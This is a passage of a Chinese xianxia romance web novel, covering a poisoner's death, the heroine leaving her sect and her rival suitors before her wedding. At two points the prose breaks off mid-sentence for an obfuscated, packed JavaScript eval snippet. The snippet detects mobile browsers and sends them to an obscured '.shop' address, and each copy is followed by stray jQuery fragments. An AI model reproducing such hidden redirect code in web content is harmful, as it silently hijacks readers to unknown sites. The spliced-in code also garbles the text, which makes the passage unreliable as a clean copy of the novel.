见山洞里彻底没了动静,萧倾从地上站起身,心疼地看了一眼自己的人虫群,拍了拍衣衫上的灰,走过去居高临下地看向林不平:“快把这阵解开,现在再不趁机离开,等会儿说不定钟粹山的后援就到了。” 林不平手里拿着那柄谭素月用来自刎的匕首,头也没抬。 “不就死了个女人吗?至于吗?”萧倾抱臂站在一旁,嘲讽道,“你不是早就知道她会死吗?怎么,这么久都还没做好准备去接受这个结果?” “也不知道这个女人给你灌了什么迷魂药……” 不等她把话说完,林不平猛地暴起,将匕首狠狠插进了她的胸口。 萧倾瞪大了眼睛,似乎是不可置信他居然敢杀自己。 林不平面无表情地捏着她的脖子,拔出匕首再度插进去,先后一共捅了她十几刀。 萧倾死不瞑目地倒在地上,弥留之际,手指艰难地动了一下,将藏在指甲里的最后一只毒蛊弹到了林不平身上。 林不平一脚将她的尸体踹进人虫的尸堆里,捧着那柄沾过谭素月血的匕首往外爬,却没走几步就摔倒在地,七窍流血,身体里似乎有什么东西在啃噬他的血肉,很快就吃空了他一整条腿。 “月儿……”他一点一点往洞穴入口的地方蠕动,嘴唇颤抖着呢喃,“你等……等等我……我来陪你……” * 萧翎琅能感知到自己铃铛的踪迹,于是带着万听谷弟子进入了幽林中的山洞,开始搜寻谷中其余弟子。 依照孟知匀所说,她和薛昱在山洞之中只见到了萧倾和林不平,那么看来他们是故意以身为饵留下对付薛昱,早早安排其他弟子转移去了别处,方便在得手之后东山再起,还刻意留下了他们拐来的百姓,既可以威胁薛昱,也可以掩人耳目,使其他人顺利离开。 这帮人手里掌握着蛊毒和邪术,不能就这样放任他们流窜江湖。 “师姐!”一名弟子脚步匆匆地赶过来,对萧翎琅道,“在后山发现了一处密道,里面残留有那些叛徒的气息。” 萧翎琅一甩脑袋,抬脚就走:“在哪,?带我去。” 那个洞窟已经被万听谷弟子封锁起来了,萧翎琅举着火把迈入密道入口,果然感知到了余月的气息。 “你们守好入口,我进去探查一下。” 一个跟在她身后的弟子不禁往前跟了一步:“师姐,你一个人进去太危险了。” 萧翎琅笑道:“怎么,你觉得我打不过余月?” “当然不是!”那弟子忙为自己分辨,“只是他们人多势众,说不定还设下了什么陷阱,师姐一个人前去实在太过冒险了。” “好了好了。”萧翎琅把自己头上的一根银钗拔下来给她,“若是这钗子上的铃铛开始响,你们就进来支援我。” “师姐……” 不等师妹们再劝说什么,萧翎琅举着火把直接走入了密道。 这密道挖得很粗糙,不时有细碎的土块和水滴落在地上。萧翎琅始终以灵气护体,以防突然冒出什么蛊虫或剧毒。 她走了很长一段距离才走到密道另一头的出口。 月光为幽林洒下一方空明,树下横七竖八地躺了一地尸体,他们身上都佩着万花谷的金铃。而一个俊俏非凡又面色苍白的男子正坐在几具尸体之上,低头在擦拭一个古旧的银铃。 萧翎琅收敛了平日里嬉笑怒骂的张扬,步子迈得很稳,沿着镀了一层月光的林间小径走到余月跟前,语气平静地问道:“都是你杀的?” 余月仰头看她,真心实意地笑了笑:“自然。” “为什么?” “你想他们死,不是吗?” 萧翎琅笑了一下,却难辨悲喜:“我问的不是这个。” 余月点了点头,将那枚擦拭干净的旧铃铛递给她:“师父对我恩重如山,加之……” “我本来就不是什么好人。” “比起治病救人,我更喜欢用毒、用蛊,他人的性命于我看来不过是蝼蚁,我为何要为保住他们的性命而辛苦修行。世间大道万千,焉知杀人不是这万千中的一条呢?” 他的眼睛实在漂亮,像是两块颜色略深的琥珀石,看向旁人时总让人产生被他情深义重对待的错觉。 可他的心是冷的,像是包裹了层层毒药的顽石,只在心头那一点,为早已分道扬镳的昔日至交留下了所剩不多的温热。 萧翎琅闭了下眼睛,往后退了一步。 余月站起身,走近她,轻抚她发梢的银饰,动作轻柔得仿佛她是什么易碎的珍宝。 年少时,她便喜欢戴各种叮当响的银饰,走到哪都显得格外热闹,像一只张牙舞爪的花孔雀。 后来,那份热闹再也不属于他。 “动手吧。”他低头抵住她的额头,“你最想我死,不是吗?” 他杀了那样多的人,这么多年来为虎作伥、草菅人命,那些毒血流窜在他周身的经脉中,若他不死,万花谷便有卷土重来的可能。 “你为什么非要一次又一次地逼我?”萧翎琅想要推开他,却被他钳住了双手。 余月摘下她发髻上的一根银钗,将其塞进她掌心。 她年少时沉迷医道,总是疏于锻体,但是每次和余月打架都是她占上风,她直到今日才明白——原来是他一直在让着她。 “其实我们生来就在走截然相反的两条路。”余月握着她的手,将银钗一寸一寸送入自己的心脉,却还要余力对她笑,“是我年少时贪婪过头,太想和你一起走了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344304|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧翎琅很久没有哭过了,她从小就觉得哭泣是示弱的一种表现,而她不需要别人的怜悯和同情。 但是面对着这个被她恨了这么多年的昔日旧友,感受着他的身体一点一点丧失生机,被她强行憋回去的眼泪终于汹涌而下。 早知如此,当初为何要去招惹她? “余月……”她半跪着抱住他的尸体,在满地皎洁的月光中泣不成声,“为什么……为什么总是要逼我……” 逼她爱他,逼她恨他,最后还要逼她杀他。 可是明知道不同不相为谋,她又为何要心存侥幸?到头来不过是自讨苦吃。 枯坐半晌,萧翎琅仰头看了看天上的月亮,伸手擦干了脸上的泪痕,强行压下心中翻涌的万千情绪,释出一道灵气叫人来清理尸体。 余月的眼睛还未闭上,似乎是死前仍旧心存眷恋。 萧翎琅替他合上眼睛,低声道:“若有来世……” “算了。不再见了。” * 孟知匀带着谭素月的尸身星夜赶路,驾着万听谷的鹏车不眠不休地赶了三天三夜,终于赶回了钟粹山。 她事先已经给宗门传过信,大致解释了幽林山谷中的经过,所以鹏车一落地,提前守在山门前的薛旻便迎了上来。 “师妹一路辛苦了。”薛旻忙扶她下车,将准备好的食盒递给她,“里面是清粥和包子,先垫一垫。” 孟知匀也不客气,拿起一个包子就塞进了嘴里,指了指车厢道:“谭素月的……尸体,在里面。” 薛旻镇定如常地点点头:“掌门和长老们在戒律堂等你。” “好,我马上过去。”孟知匀不欲多打扰他们,一边啃包子一边脚步匆匆地去了戒律堂。 晨光熹微,山门前只有几只鸟雀在婉转啼叫。 薛旻手指颤抖地掀开车帘,里面的女子面色恬静,像睡着了一样躺在车厢里,唇角还维持者微微上翘的弧度。 那仿佛能支撑一切的肩膀第一次塌了下来。 “你不是想看桃花吗?”薛旻抱起谭素月,声音温柔,眼睛里却泛着泪光,“我带你去看……” 另一边,孟知匀一脚刚踏进戒律堂的大门,就被留在宗门内的玉露长老和岁寒长老围住了,连向来不苟言笑的掌门也对她嘘寒问暖了一番。 孟知匀赶了三天路,模样实在有点狼狈,见状便用手背擦了擦额上的汗珠,逐一回答了掌门和长老们的问题,并且将在雅音会、万听谷、万花谷以及幽林中的所见所闻都再度叙述了一遍。 薛琛听罢妻子十年前的遭遇,虽然早有心理准备,但还是难掩心中悲戚,一时陷入了沉默。 宋覃叹了口气,对孟知匀道:“知匀一路上辛苦了,赶紧回去休息吧,等你师父他们回来,少不了要奖赏你一番。” 孟知匀却当堂一跪,双手献上自己的花信剑,声音郎朗:“弟子不敢奢求奖赏,只有一事相求,恳请掌门和诸位长老同意。” “弟子想脱离宗门,回归凡世。” 42. 成亲 平松县。 孙二娘挎着一篮子自家做的吃食走进院子,对坐在树下看书的孟知匀笑道:“我娘灌的腊肠,特意嘱咐我给你送来一些。” 孟知匀把话本倒扣在桌上,起身迎她:“这几日多亏了有你们照拂,不然我怕是要流落山林了。” “哪里的话!”孙二娘把篮子往桌上一搁,“我娘还天天嚷嚷着让你搬去我家住呢。” 话罢,她瞥了一眼屋门紧闭的正屋,问道:“又在屋里读书呢?” 孟知匀拉她坐下,点了点头:“毕竟他明年要进京赶考嘛。” 孙二娘抓耳挠腮地寻思了半天,还是没忍住问道:“你是怎么想的?真要嫁他?” 现已入了春,桌旁的树上冒出了几点新芽。 孟知匀支着下巴,笑意盈盈地看向她:“不可以吗?” “可是你们之前分明素不相识,怎么你一离开钟粹山就要嫁给他?”经过阮卿依的事,孙二娘现在看天下男人没一个顺眼的,尤其是这种酸腐的读书人,焉知不是和那李望山一样的衣冠禽兽? 孟知匀拍了拍她的手,要她安心:“放心吧,我心里有数。” “你那师兄……”孙二娘秀眉微蹙,想起之前二人之间那微妙的氛围,心下难免遗憾,却不知该怎么开口,“你……” “我已经自请离开宗门,现在还了剑,自封了灵脉,早已是普通人了,过往种种,自然不必再提。”孟知匀眼睑半敛,脸色平静,似乎没有为此有丝毫的心绪波动。 “就算不提你师兄,你怎么看得上宋览?”孙二娘手指扣着篮子上的藤条,只觉得糟心,“他这种男人最是心气高,天天做梦自己能一举高中,这些年来守着他家这两间屋子坐吃山空,她娘去年年底过了世,他连洗衣做饭都懒得自己动手,我前几日还听他说要去钟灵郡买个婢女回来伺候他。你究竟看上他什么了?” 孟知匀看她这副恼怒的模样,只得给她倒了杯茶水:“好了好了,日后若是我跟他过不下去了,就去投奔你,好不好?你到时候可得收留我。” 孙二娘这才松了口气,朝着正屋翻了个白眼:“我看这是迟早的事,我现在就回家给你收拾个房间出来。” 不等孟知匀再说什么,她风风火火地便出了门。 钟灵郡的早春天气多变,刚刚还称得上晴朗的天气,转眼间便乌云密布,落下了绵密的雨丝。 孟知匀将这一篮子腊肠放进厨房,发现宋览中午吃过饭后,连他自己的碗都没洗,心里也是颇为无语,但是碍于自己是个强迫症晚期,还是忍不住把厨房收拾了一遍。 等她从厨房出去,外面的雨已经下大了,而院子中央那棵树下,立着一个熟悉的身影。 薛昱醒来后便一路御剑从万听谷赶回钟粹山,如今眼底青黑一片,发丝被雨丝打湿,凌乱地贴在他脸颊上,像一簇被雨打散了的梨花。 孟知匀攥紧了衣袖,故作轻松地对他笑了一下:“你怎么来了?” 她站在厨房门口的屋檐下,但是薛昱还是为她施了一个避雨诀,一步一步冒雨走到她跟前,那双亮如寒星的双眸也仿佛被春雨浸湿了。 “为什么?”他嗓音有些沙哑,垂眸盯着她的眼睛。 “太累了。”孟知匀微微偏头,看向破败院墙上冒出的野草,语气平静,“我想找个好人家嫁了,过上平淡但幸福的日子。” 薛昱笑了一下,往前一步,周身的寒意让落地的雨水也结了一层霜。 “你就是你所谓的好人家?” 孟知匀如今没有灵力傍身,被他冻得骨头发冷,不禁瑟缩了一下,那股冷意当即散得一干二净。 “师兄。”她被困在墙壁和他的胸膛之间,就是偏头不看他,“过几日我便要成亲了,还请师兄注意行事分寸,我不想我夫婿误会。” 薛昱五指猛地攥紧,另一只手悬在空中,终究变成了一个未能成型的拥抱。 “是我做错了什么吗?” “没有。”孟知匀伸手去推他,却怎么也推不开,“只是我不想在宗门待了,只想当个相夫教子的普通女人。” “你不是这样的人。” “你怎么知道我是怎样的人?”孟知匀好笑地仰头看他,一咬牙,讽刺道,“你以为你很了解我吗?” “我比他了解你。”薛昱又往前走了半步,几乎将她整个圈在了怀里,低头便能蹭到她的发顶。 他收敛了周身的冷意,身体带着温热,将她裹挟在春雨纷杂的潮热里。 孟知匀狠狠掐了一把大腿,在心中反复告诫自己不能耽于美色,找准时机从他怀里钻了出去,头也不回地就往自己住的偏房走:“师兄还是回去吧,以后……” “别再来了。” 薛昱在雨中站了许久,却看到那扇木门始终没有打开,昭示着房屋主人要将他拒之门外、再不往来的决心。 临近傍晚,正屋的门才“哗”的一下打开,一个个子不高、相貌周正的青衫男子走了出来,发现院子里站了个陌生人,撑着伞就走了过去,质问道:“你是谁?怎的站在我家院子里?” 薛昱身量很高,样貌又极为出色,周身凛凛有春寒之意,看一眼便知其绝非凡人。 “哪来的?”他看向面前人腰间挂着的桃花铃,脚下方寸之地瞬时染上了厚厚一层霜。 宋览哪见过这般神通,不禁后退了一步,指了指偏房,忙道:“是她……是她给我的,说是灵物,要我拿了这铃铛后娶她为妻。” 薛昱目不转睛地盯着他看,问道:“你答应了?” “自然。”宋览被他看得起了一身鸡皮疙瘩,后背的衣衫都被汗浸湿了,“孟姑娘貌美贤惠,又是孤苦伶仃的一个人,我家中也缺一个能洗衣做饭的掌家娘子……” “你让她给你洗衣做饭?”薛昱面无表情地打断他。 宋览连手里的伞都拿不稳了,被斜风细雨搅弄得满身狼狈,小声道:“难不成我堂堂一个读书人,要在家里伺候她不成?那可成何体统!” 薛昱轻笑了一声,懒得多看他 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“不用。”孟知匀看着那块散发着肉香的鸡腿,咽了口口水,非常有志气地没有动筷,“我们到时候就简单办一下,不需要花什么心思。” “成亲是人生大事,怎么可以一切从简?”薛昱盯着她的眼睛,似乎想从中寻出什么端倪。 孟知匀缴械投降,率先移开视线,低头开始扒饭,薛昱则坐在一旁慢条斯理地给她夹菜。 天色慢慢昏暗了下来,只有桌上的一方灯火晕染出些许暖意。 吃得一碗饭见了底,孟知匀才想起来宋览,问道:“他呢?” 薛昱搁下筷子,幽幽看向她:“谁?” 孟知匀脸不红心不跳地说:“我夫君。” 薛昱意味不明地笑了一下,眼里却没有丝毫笑意:“还没成亲,就叫上夫君了?” “迟早的事,提前适应一下。”孟知匀语气平常,站起身,“我去叫他吃饭。” 没等她走出一步,手腕便被薛昱握住了。 他这个人浑身都是冷的,偏偏每次触碰她的地方都是暖的,甚至带着点让人心颤的灼热感。 “你回房休息吧,我去叫他。” 孟知匀回头对他挑了下眉:“你和他见过面了?” 薛昱“嗯”了一声,站起身,却没松开手:“他说不介意我留下来帮你们。” 孟知匀忍不住笑了,微微偏头看他,阴阳怪气道:“你是以什么身份留下?” “你想要我是什么身份?”薛昱走近一步,稍一使劲便将她拉到了身前,低头将那枚桃花铃系在了她腰间。 “师兄真是好气量。”孟知匀看见那铃铛有些心虚,想往后退,却被他的胳膊紧紧钳住了后腰,只得出言刺他,“你要待到什么时候?要亲眼看我嫁给他才安心吗?” 薛昱跟没听到一样,自顾自地伸手释出一道灵气,替她拂去了发上和衣服上沾上的雨丝。 43. 潮吻 “走吧,我送你回房。”薛昱确认她身上彻底干透了,这才为她施了避雨诀,拉着她走进缱绻的雨幕中。 孟知匀挣扎了一下,他握着她手腕的力度分明不算大,却怎么也挣脱不开,只得任由他将她一路拉回了偏房门口。 “三日后,我便要嫁给他。”她伸手推开木门,略微侧身,只用余光瞄了他一眼,“成亲后,师兄不必来了,不然传出去对我名声也不好。” “你们打算怎么办喜宴?”薛昱自动忽略了自己不想听的话,伸手替她撑着门。 孟知匀被他洒在自己后颈的鼻息烫得浑身一缩,往门内迈了半步,故作镇静道:“我们俩父母都不在世了,在此地也没什么别的亲朋好友,到时候叫二娘他们一起吃一顿饭便好。” 薛昱面色如常地点点头,继续追问:“喜服准备了吗?喜房是哪一间,想怎么布置?” 孟知匀忍无可忍,冷笑道:“这似乎不关师兄的事。” 不等薛昱再问什么,她抬脚迈过门槛就要关门,谁知匆忙之间脚踝猛地一崴,不禁惊呼了一声。 身后之人及时伸来一只手臂,圈住她的腰将她抱回了怀里。 “脚怎么样?”薛昱双手托着她的腰,微微低头,薄唇几乎摩挲着她的耳垂。 “没事,放开我。”孟知匀忍着疼去掰他的手,却不料下一秒便被拦腰抱了起来。 屋内还没来得及点灯,外面也没有月色,薛昱却将她稳稳抱回了床上,然后为她脱了鞋袜,拿生有一层薄茧的指腹按压她的脚踝:“是这里疼吗?” 孟知匀疼得龇牙咧嘴,脚踝被他握着,收也收不回来,只得闷声“嗯”了一下。 薛昱似乎总是随身带着伤药,拿出一个瓷瓶在掌心倒出灵露,动作轻缓地为她上药。 孟知匀适应了室内的黑暗,依稀可以看到薛昱低着头时微微皱起的眉头、扇子一般纤长浓密的睫毛、高挺的鼻梁…… 她深吸了一口气,匆忙移开视线。 薛昱动作一顿,抬起头看她,轻声问道:“弄疼你了?” “知匀,饭做好了吗?”虚掩着的门被“哗”的一下推开,灌进一堂冷风,宋览不满地嘟囔道,“怎么也不点灯?” 薛昱低头继续为孟知匀上药,冷声道:“出去。” 宋览忙把迈进门槛的那只脚收了回去,讪笑道:“原来仙师也在呀,那我不打扰了。” 门又被“砰”的关上了。 “好了,差不多了,你走吧。”孟知匀伸手去推他的肩膀,脸颊有些泛红,好在屋内的晦暗为她打了掩护,“我要睡了。” 薛昱收回药瓶,站起身嘱咐道:“晚上睡觉时尽量不要压到。” “知道了。”孟知匀低着头应了一声,看他出去了才脱掉外衫上床睡觉,繁杂的心绪像是树干上乱七八糟长出来的枝桠,修来剪去却怎么也不合心意。 她点开已经变灰的系统面板,面无表情地看了许久,不知道在想什么。 * 夜半。 孟知匀在梦中惊醒,猛地坐起身,发现自己出了一头的冷汗。 梦中的她回到了原生世界,回到了周一那趟地铁上,然后在即将下车的前一秒,遭遇了爆炸。 非常荒谬又让人觉得无比真实的一个梦。 仿佛是冒充命运的什么东西拿着枪抵在她额心,告诉她——应该听话、应该顺从、应该接受一切安排,如有反抗,便是梦中的那个下场。 她忽然笑了一下,单手扶住床柱,准备起身倒杯茶润润嗓,结果紧闭的窗户外突然传来一道清冽的嗓音:“别动。” 薛昱推开门,快步走到桌前给她倒了杯水,拿掌心灵气温好了才递给她。 孟知匀接过茶盏,眉头一皱:“你怎么没走?” “走?”薛昱垂眸看着她,“去哪?” “回钟粹山啊。”孟知匀感觉头有点大,“这里只有两间房,你留下也没地方住。” “我不用睡觉,在外面守着你就好。” 他的语气向来很平淡,仿佛天底下没什么事值得他放在心上,所以说出这句话时,竟显得理直气壮,似乎向来就应该如此。 但是他身上带着一点被雨淋湿的潮意。 “怎么不用避雨诀?”孟知匀眸光一暗,视线落在了他尚在滴水的衣摆上。 薛昱低声道:“忘了。” “薛昱。”她叫他的名字,声音里带着浓重的无奈,一双向来潋滟的明眸竟也黯淡了,“你到底想怎么样?” 薛昱俯身替她擦掉额上的汗珠,漂亮的眼睛里难得地流露出几分脆弱:“我想你开心幸福。” “我马上要嫁人了。”孟知匀不为所动,“我会开心幸福的。” “你不喜欢他。”薛昱的手指缓缓往下,托住她的脸,让她不得不仰头看他,“他对你不好。” “你怎么知道我不喜欢?你未免太高看自己了。”孟知匀心头泛涩,手指攥紧了床帏,“我是心甘情愿嫁给他的。” “我会成为一个好妻子,为他生儿育女……” 不等她把话说完,薛昱的吻就落了下来。 那盏茶水被打翻在地,骨碌碌地滚出好远。 薛昱一手撑着床一手扣着孟知匀的后脑勺,将她按在怀里掠夺她的呼吸,嘴唇被她咬破了也似乎毫无知觉,裹缠得她几乎动弹不得,只能被动任他亲。 这个吻不同于万花谷之前那个带着诀别与绝望的、轻柔的触碰,反而夹杂着春雨的潮湿、凛冬的强势和浓重的、不该展露在薛昱身上的占有欲。 孟知匀的眼泪簌簌落下,烫得他浑身一僵,松开了她。 “你别逼我……”她推他的胸膛,别开脸不想让他看到自己的眼泪。 薛昱感觉自己的心也被这两滴泪绞得血肉淋漓,伸手抚摸她的脸颊:“为什么总是违背自己的意愿?” 孟知匀似乎是听到了什么可笑的话,反问道:“我的意愿重要吗?” 命运从来不会因为她想活就免她不死,更不会因为她想好好活着就让她过得轻松幸福。 前后两世,她最明白的滋味是事与愿违。 越是追逐什么,越是得不到什么。她似乎只能顺从,只能被命运推着走,去向哪个未知的、可能远非她期盼的结局。 但是薛昱看着她的眼睛,说道:“重要。” “你值得你想得到的任何东西。” “你走吧。”孟知匀闭了下眼睛,躺下把自己埋进被子里。 “有事叫我,我就在外面守着。”薛昱转身往外走。 孟知匀忍无可忍地说道:“我让你回宗门。” “你心里不是这样想的。”薛昱头也没回地继续往外走,“我只听你的真心话。” “站住!” 他脚步一顿,微微回头看她。 孟知匀闷声闷气道:“外面下雨了,你若不想走,就在屋里坐着吧。” “好。”薛昱从善如流地拉开椅子坐下,轻声道,“睡吧,我不会打扰你的。” 孟知匀在心里冷笑一声,索性背对着他闭上了眼睛。 * 翌日一大早,薛昱便去厨房做好了早餐,等孟知匀睡醒了才抱她去洗漱、吃饭。 “我可以拿拐杖自己走。”看到院中坐着吃饭的宋览,孟知匀莫名有些心虚,“不用抱我。” 薛昱直接忽视了宋览,将孟知匀抱到椅子上,将饭菜往她跟前推了推:“家里没有拐杖。” “去买一根不行吗?”孟知匀拿起油条啃了一口。 “没钱。”薛昱面不改色地把宋览面前仅剩的咸菜也放到了孟知匀这边,“还有两日就要办喜宴了,要准备的东西很多。” 宋览干巴巴地喝了口白粥,心下愈发疑惑—— 似乎两日后要和孟知匀成亲的人是他呀?怎么看这两人的架势更像是要成婚的小夫妻? 但是他也不敢提出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351674|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么异议,毕竟君子应该善于审时度势,去啃太硬的骨头只会崩坏了自己的牙。 反正他娶妻也只是为了有人为他洗衣做饭生子,眼下虽然不是孟知匀亲自照顾他,但好歹日日有热饭可吃,到时候洞房一入,这人便没理由再待着不走了。 喝完白粥,宋览心满意足地把碗往桌上一搁,抄着手便要回正屋看书。 “慢着。”薛昱为孟知匀夹菜的手一顿,“把碗洗了。” “我堂堂一个读书人,岂能……”宋览当即跳脚,被薛昱冷淡的眼眸一瞥,只得偃旗息鼓,拉着脸把碗拿到水盆里涮了涮,将其往案板上一扔,气冲冲地摔门进了屋。 孟知匀心下无语,只当看不见。 日子就这样又过了两日,期间没再下过雨,薛昱便做了个躺椅,让孟知匀躺在树下晒太阳,他自己则将偏房和厨房好好打扫了一遍,按照平松县的习俗在偏房的窗户、门板和墙壁上都贴上了喜字,还将被褥、床幔都换成了红缎,甚至按照孙二娘的指点买来了红枣、花生、桂圆和莲子摆了盘,放在偏房的桌子上。 待到成婚那日,孙二娘拿着一套红嫁衣走进了偏房,笑道:“今日可是大好的日子,我高低得把你打扮成平松县最漂亮的新嫁娘。” 孟知匀疑惑挑眉:“哪来的嫁衣?” 孙二娘支支吾吾道:“自然……自然是我做的……怎么样,好看吗?” 这嫁衣针脚绵密、用料讲究,也没往上绣传统的鸳鸯戏水,而是点缀了桃花和新芽,看起来漂亮又脱俗,倒是颇合她的心意。 “多谢了。”孟知匀被她扶着坐到梳妆镜前,前前后后捣鼓了一个时辰才弄好妆发。 由于宋览双亲已亡,他自己心气又高,没什么亲朋好友,孟知匀则不想再跟宗门有牵连,也没有请同门前来,二人则只在午后设了一桌宴席,请孙二娘母女俩一同喝了喜酒。 孙夫人更是看不上宋览,为着孟知匀的面子才坐下喝了一杯酒,留下贺礼便自行回家去了。 薛昱今日却没有出现,这桌酒席也是他提前在酒楼订好了让人送来的。 孙二娘瞥了一眼宋览身上那件不成样的喜服,翻了个白眼,一个劲给孟知匀夹菜:“看你近几日都瘦了,多吃点。” “女子当以体态纤细为美。”宋览一边吃饭一边挑刺道,“今日这鱼做得不好,日后你可得好好学一学厨艺,不然日后岂不是要人看我宋家笑话?” “吃饭还堵不上你的嘴!”孙二娘皱眉吼他。 “我教导我自己的娘子,干你个外人什么事?”宋览满脸嫌恶地看她,“若天下女子都如你这般蛮横……” 孟知匀把筷子往桌上“啪”的一拍,眼风冷冷一扫:“你积点儿口德吧。” 宋览心下不忿,觉得她在外人面前拂了自己的脸面,但是想到今晚便要和她洞房做真夫妻,觉得日后多的是机会去磋磨、教导她,便冷哼一声,自顾自回正房温书去了。 孙二娘破天荒没继续骂他,反而掏出一本封皮泛黄的书递给她,压低声音道:“你晚上洞房前偷偷看。” 孟知匀一下就猜到这是什么书了,忍不住笑了。 “你可别不当回事儿!”孙二娘又羞又恼,“我娘说……要是不懂的话,女人是很受罪的!” “好好好。”孟知匀拍了拍她的手背,把书收好,心想她的理论知识好歹在前世储备得非常丰富了。 二人一直在院中叙话到太阳落山,孙二娘这才依依不舍地回家去了,孟知匀则回布置好的偏房点了红烛,给自己盖上那个绣了桃花的红盖头,坐在床上开始等。 不多时,门“吱呀”一声被打开了,屋内响起了熟悉的脚步声。 来人在床前静静站了足有一刻钟,终于伸手去掀红盖头。 孟知匀看到一只肌骨匀净的手攥住了自己的盖头,然后动作轻缓地一点一点把盖头挑起。 满室暖光之中,站着同样穿着桃花新芽喜服的薛昱。